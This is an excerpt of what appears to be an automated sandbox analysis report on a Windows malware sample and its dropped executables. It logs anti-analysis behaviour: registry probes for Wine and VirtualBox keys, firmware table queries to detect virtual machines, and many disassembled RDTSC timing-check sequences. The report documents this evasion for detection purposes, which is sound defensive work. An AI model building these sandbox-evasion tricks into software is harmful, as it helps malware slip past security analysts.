Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	System information queried: FirmwareTableInformation
Source: C:\Lipras\pdf.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51C50 second address: A51C54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51C54 second address: A51C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FD84CFDF726h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46A7C second address: A46A86 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD84C765E16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50C3C second address: A50C63 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD84CFDF728h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FD84CFDF739h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50C63 second address: A50C7E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD84C765E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD84C765E1Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50DD5 second address: A50DD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50DD9 second address: A50DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50DDF second address: A50DF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007FD84CFDF726h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50DF8 second address: A50DFE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A510C8 second address: A510D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A510D0 second address: A510D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5124F second address: A51253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51253 second address: A5127A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FD84C765E2Ah 0x0000000f jmp 00007FD84C765E1Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52FA1 second address: A52FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52FA5 second address: A52FED instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD84C765E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FD84C765E18h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 mov ecx, 3AEAFDC3h 0x0000002d movsx edi, ax 0x00000030 push 00000000h 0x00000032 mov edi, ebx 0x00000034 push 3E444A75h 0x00000039 push esi 0x0000003a push ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52FED second address: A53048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 xor dword ptr [esp], 3E444AF5h 0x0000000d mov dword ptr [ebp+122D30F3h], ecx 0x00000013 push 00000003h 0x00000015 jbe 00007FD84CFDF72Ch 0x0000001b xor dword ptr [ebp+122D30E3h], eax 0x00000021 push 00000000h 0x00000023 sbb edx, 360C49A2h 0x00000029 push 00000003h 0x0000002b add dword ptr [ebp+122D1C76h], eax 0x00000031 mov esi, dword ptr [ebp+122D2E6Eh] 0x00000037 call 00007FD84CFDF729h 0x0000003c jmp 00007FD84CFDF736h 0x00000041 push eax 0x00000042 push esi 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53048 second address: A5307A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FD84C765E21h 0x0000000f mov eax, dword ptr [eax] 0x00000011 jl 00007FD84C765E2Fh 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD84C765E1Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5307A second address: A5308D instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD84CFDF726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5308D second address: A53092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53092 second address: A530C0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jbe 00007FD84CFDF726h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d lea ebx, dword ptr [ebp+12447E8Ch] 0x00000013 mov dword ptr [ebp+122D3433h], edx 0x00000019 xchg eax, ebx 0x0000001a push eax 0x0000001b jno 00007FD84CFDF72Ch 0x00000021 pop eax 0x00000022 push eax 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 push esi 0x00000027 pop esi 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5317F second address: A531BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jl 00007FD84C765E1Ch 0x0000000b js 00007FD84C765E16h 0x00000011 popad 0x00000012 mov eax, dword ptr [eax] 0x00000014 jne 00007FD84C765E2Ah 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push eax 0x0000001f push edx 0x00000020 je 00007FD84C765E18h 0x00000026 push eax 0x00000027 pop eax 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A531BB second address: A53256 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD84CFDF728h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [ebp+122D3433h], edx 0x00000011 push 00000003h 0x00000013 mov dword ptr [ebp+122D1C42h], eax 0x00000019 sub dword ptr [ebp+122D34B1h], edi 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push edi 0x00000024 call 00007FD84CFDF728h 0x00000029 pop edi 0x0000002a mov dword ptr [esp+04h], edi 0x0000002e add dword ptr [esp+04h], 0000001Ch 0x00000036 inc edi 0x00000037 push edi 0x00000038 ret 0x00000039 pop edi 0x0000003a ret 0x0000003b mov edx, ecx 0x0000003d jp 00007FD84CFDF72Ch 0x00000043 push 00000003h 0x00000045 push 00000000h 0x00000047 push edi 0x00000048 call 00007FD84CFDF728h 0x0000004d pop edi 0x0000004e mov dword ptr [esp+04h], edi 0x00000052 add dword ptr [esp+04h], 00000016h 0x0000005a inc edi 0x0000005b push edi 0x0000005c ret 0x0000005d pop edi 0x0000005e ret 0x0000005f xor dword ptr [ebp+122D1E32h], edx 0x00000065 call 00007FD84CFDF729h 0x0000006a jmp 00007FD84CFDF72Dh 0x0000006f push eax 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 jl 00007FD84CFDF726h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53256 second address: A532BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jp 00007FD84C765E22h 0x00000011 mov eax, dword ptr [eax] 0x00000013 jc 00007FD84C765E30h 0x00000019 push eax 0x0000001a jmp 00007FD84C765E28h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 jnc 00007FD84C765E1Ah 0x0000002a pop eax 0x0000002b mov di, BCC1h 0x0000002f lea ebx, dword ptr [ebp+12447E95h] 0x00000035 or edx, dword ptr [ebp+122D2DA6h] 0x0000003b push eax 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f je 00007FD84C765E16h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53325 second address: A53361 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD84CFDF728h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 mov edi, dword ptr [ebp+122D2EEEh] 0x00000017 call 00007FD84CFDF729h 0x0000001c jne 00007FD84CFDF730h 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 jns 00007FD84CFDF726h 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53361 second address: A53366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53366 second address: A533A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD84CFDF738h 0x00000008 jmp 00007FD84CFDF72Dh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 jl 00007FD84CFDF72Ch 0x0000001b jg 00007FD84CFDF726h 0x00000021 push eax 0x00000022 push edx 0x00000023 push esi 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A533A6 second address: A533CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FD84C765E1Dh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD84C765E1Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74A36 second address: A74A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD84CFDF72Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43656 second address: A43661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD84C765E16h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A727CE second address: A727D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A727D4 second address: A727D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A727D8 second address: A72802 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FD84CFDF73Fh 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72802 second address: A72818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007FD84C765E1Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72818 second address: A7283D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD84CFDF72Fh 0x00000009 jmp 00007FD84CFDF732h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7283D second address: A7284F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD84C765E1Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A729B7 second address: A729D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD84CFDF72Ch 0x00000009 pushad 0x0000000a popad 0x0000000b jns 00007FD84CFDF726h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A729D0 second address: A729D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A729D6 second address: A729DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A729DA second address: A729E4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD84C765E16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7323F second address: A73243 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73243 second address: A7324F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD84C765E16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A733C8 second address: A733FC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD84CFDF72Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FD84CFDF732h 0x00000012 jo 00007FD84CFDF726h 0x00000018 jbe 00007FD84CFDF726h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A733FC second address: A73408 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FD84C765E16h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7381B second address: A73824 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73824 second address: A7383E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FD84C765E1Eh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7383E second address: A73842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73842 second address: A73848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73981 second address: A73997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FD84CFDF72Fh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73997 second address: A739B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD84C765E27h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69882 second address: A69887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A015 second address: A4A027 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 js 00007FD84C765E16h 0x00000009 pop edi 0x0000000a jng 00007FD84C765E1Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73AD9 second address: A73AF1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FD84CFDF732h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74274 second address: A74288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD84C765E20h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74563 second address: A74582 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF733h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FD84CFDF728h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74886 second address: A748A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 js 00007FD84C765E22h 0x0000000c jno 00007FD84C765E16h 0x00000012 jnp 00007FD84C765E16h 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A174 second address: A7A17B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A17B second address: A7A188 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007FD84C765E16h 0x00000009 pop esi 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A188 second address: A7A18E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D95B second address: A7D976 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD84C765E22h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E0EE second address: A7E0FF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007FD84CFDF726h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E0FF second address: A7E103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E67F second address: A3E688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E688 second address: A3E68C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E68C second address: A3E696 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD84CFDF726h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A83408 second address: A8340C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8340C second address: A83410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
